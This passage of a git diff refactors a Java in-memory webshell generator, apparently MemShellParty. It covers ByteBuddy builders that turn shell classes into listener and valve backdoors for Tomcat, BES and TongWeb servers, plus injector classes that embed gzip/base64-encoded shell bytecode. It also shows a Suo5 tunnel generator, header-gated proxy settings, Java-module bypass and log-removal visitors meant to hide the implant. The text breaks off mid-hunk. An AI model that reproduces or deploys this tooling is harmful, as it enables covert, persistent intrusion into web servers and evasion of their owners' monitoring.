public class ProxyConfig extends ShellToolConfig {
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "User-Agent";
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
|
|
||||||
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -55,36 +55,19 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 是否使用回显模式
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean probe = false;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否启用缩小字节码
|
* 是否启用缩小字节码
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean shrink = false;
|
private boolean shrink = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 追加 Lambda 类名后缀
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean lambdaSuffix = false;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将 Java EE 转换为 Jakarta EE 类名
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean jakarta = false;
|
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -1,11 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.fasterxml.jackson.annotation.JsonIgnore;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -21,9 +19,6 @@ public class ShellToolConfig {
|
|||||||
*/
|
*/
|
||||||
private Class<?> shellClass;
|
private Class<?> shellClass;
|
||||||
|
|
||||||
@JsonIgnore
|
|
||||||
private transient TypeDescription shellTypeDescription;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,11 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -23,35 +27,37 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
protected int getTargetJreVersion() {
|
|
||||||
return shellConfig.getTargetJreVersion();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
|
||||||
return classBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
String shellClassName = shellToolConfig.getShellClassName();
|
|
||||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
|
||||||
if (shellClass != null) {
|
String shellType = shellConfig.getShellType();
|
||||||
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellToolConfig.getShellTypeDescription() == null) {
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
||||||
}
|
}
|
||||||
|
|
||||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
builder = builder
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
||||||
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,12 +7,7 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
|
||||||
import net.bytebuddy.jar.asm.Label;
|
|
||||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
@@ -21,7 +16,6 @@ import java.util.Base64;
|
|||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||||
private boolean containsSubroutines;
|
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
super(shellConfig, customConfig);
|
super(shellConfig, customConfig);
|
||||||
@@ -32,55 +26,13 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
ClassReader classReader = new ClassReader(classBytes);
|
ClassReader classReader = new ClassReader(classBytes);
|
||||||
containsSubroutines = containsSubroutines(classReader);
|
|
||||||
String className = classReader.getClassName().replace('/', '.');
|
String className = classReader.getClassName().replace('/', '.');
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
|
||||||
shellToolConfig.setShellClassName(className);
|
|
||||||
}
|
|
||||||
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
|
|
||||||
ClassFileLocator.Simple.of(className, classBytes),
|
|
||||||
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
|
|
||||||
);
|
|
||||||
TypeDescription typeDescription = new TypePool.Default(
|
TypeDescription typeDescription = new TypePool.Default(
|
||||||
new TypePool.CacheProvider.Simple(), compoundLocator,
|
new TypePool.CacheProvider.Simple(), classFileLocator,
|
||||||
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
||||||
).describe(className).resolve();
|
).describe(className).resolve();
|
||||||
shellToolConfig.setShellTypeDescription(typeDescription);
|
|
||||||
return new ByteBuddy()
|
return new ByteBuddy()
|
||||||
.redefine(typeDescription, compoundLocator);
|
.redefine(typeDescription, classFileLocator);
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected int getTargetJreVersion() {
|
|
||||||
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
|
||||||
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
|
||||||
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
|
||||||
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
|
||||||
}
|
|
||||||
|
|
||||||
private static boolean containsSubroutines(ClassReader classReader) {
|
|
||||||
final boolean[] found = {false};
|
|
||||||
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
return new MethodVisitor(Opcodes.ASM9) {
|
|
||||||
@Override
|
|
||||||
public void visitJumpInsn(int opcode, Label label) {
|
|
||||||
if (opcode == Opcodes.JSR) {
|
|
||||||
found[0] = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitVarInsn(int opcode, int var) {
|
|
||||||
if (opcode == Opcodes.RET) {
|
|
||||||
found[0] = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
|
||||||
return found[0];
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,19 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
public class DubboServiceInterfaceHelperGenerator {
|
|
||||||
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
|
||||||
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
|
||||||
.redefine(ShellDubboService.class)
|
|
||||||
.name(interfaceName)
|
|
||||||
.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.*;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
@@ -49,12 +48,6 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
|
||||||
if (helperClassBytes != null) {
|
|
||||||
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
|
||||||
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
@@ -66,10 +59,6 @@ public class InjectorGenerator {
|
|||||||
if (shellConfig.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = StaticBlockSelfConstructorCall.extend(builder);
|
|
||||||
}
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/22
|
||||||
|
*/
|
||||||
|
public class ListenerGenerator {
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
|
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
|
||||||
|
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||||
|
.getDeclaredMethods()
|
||||||
|
.filter(named("getFieldValue")
|
||||||
|
.and(takesArguments(Object.class, String.class)))
|
||||||
|
.isEmpty();
|
||||||
|
|
||||||
|
if (methodNotFound) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public interface Processor<T> {
|
|
||||||
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
|
|
||||||
}
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.processors.*;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public final class ProcessorRegistry {
|
|
||||||
|
|
||||||
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
|
||||||
new ListenerBuilderModifier(),
|
|
||||||
new ValveBuilderModifier(),
|
|
||||||
new DebugOffBuilderModifier()
|
|
||||||
);
|
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
|
||||||
new JakartaPostProcessor(),
|
|
||||||
new JettyHandlerPostProcessor(),
|
|
||||||
new ShrinkPostProcessor()
|
|
||||||
);
|
|
||||||
|
|
||||||
private ProcessorRegistry() {
|
|
||||||
// Prevent instantiation
|
|
||||||
}
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> applyBuilderProcessors(
|
|
||||||
DynamicType.Builder<?> builder,
|
|
||||||
ShellConfig shellConfig,
|
|
||||||
ShellToolConfig shellToolConfig) {
|
|
||||||
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
|
|
||||||
builder = processor.process(builder, shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static byte[] applyByteProcessors(
|
|
||||||
byte[] bytes,
|
|
||||||
ShellConfig shellConfig,
|
|
||||||
ShellToolConfig shellToolConfig) {
|
|
||||||
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
|
|
||||||
bytes = processor.process(bytes, shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
|
||||||
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
|
||||||
super(shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
|
||||||
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/12
|
|
||||||
*/
|
|
||||||
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
|
||||||
|
|
||||||
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
|
||||||
super(shellConfig, suo5Config);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
|
||||||
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
|
||||||
.redefine(Suo5v2.class)
|
|
||||||
.name(CommonUtil.generateClassName())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
|
||||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
|
||||||
.make()) {
|
|
||||||
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,11 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.server.Bes;
|
import com.reajason.javaweb.memshell.server.Bes;
|
||||||
import com.reajason.javaweb.memshell.server.TongWeb;
|
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||||
@@ -17,7 +12,6 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
@@ -26,58 +20,35 @@ import org.jetbrains.annotations.NotNull;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/7
|
* @since 2025/2/22
|
||||||
*/
|
*/
|
||||||
public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
public class ValveGenerator {
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
|
||||||
builder = modifier(builder, server, shellConfig.getServerVersion());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (shell instanceof Bes) {
|
if (serverVersion.equals("6")) {
|
||||||
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
|
} else if (serverVersion.equals("7")) {
|
||||||
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
|
} else if (serverVersion.equals("8")) {
|
||||||
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof Bes) {
|
||||||
packageName = BES_VALVE_PACKAGE;
|
packageName = BES_VALVE_PACKAGE;
|
||||||
}
|
}
|
||||||
|
if (StringUtils.isEmpty(packageName)) {
|
||||||
if (shell instanceof TongWeb) {
|
if (shell instanceof TongWeb) {
|
||||||
if (serverVersion == null) {
|
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
|
||||||
}
|
|
||||||
switch (serverVersion) {
|
|
||||||
case "6":
|
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
|
||||||
break;
|
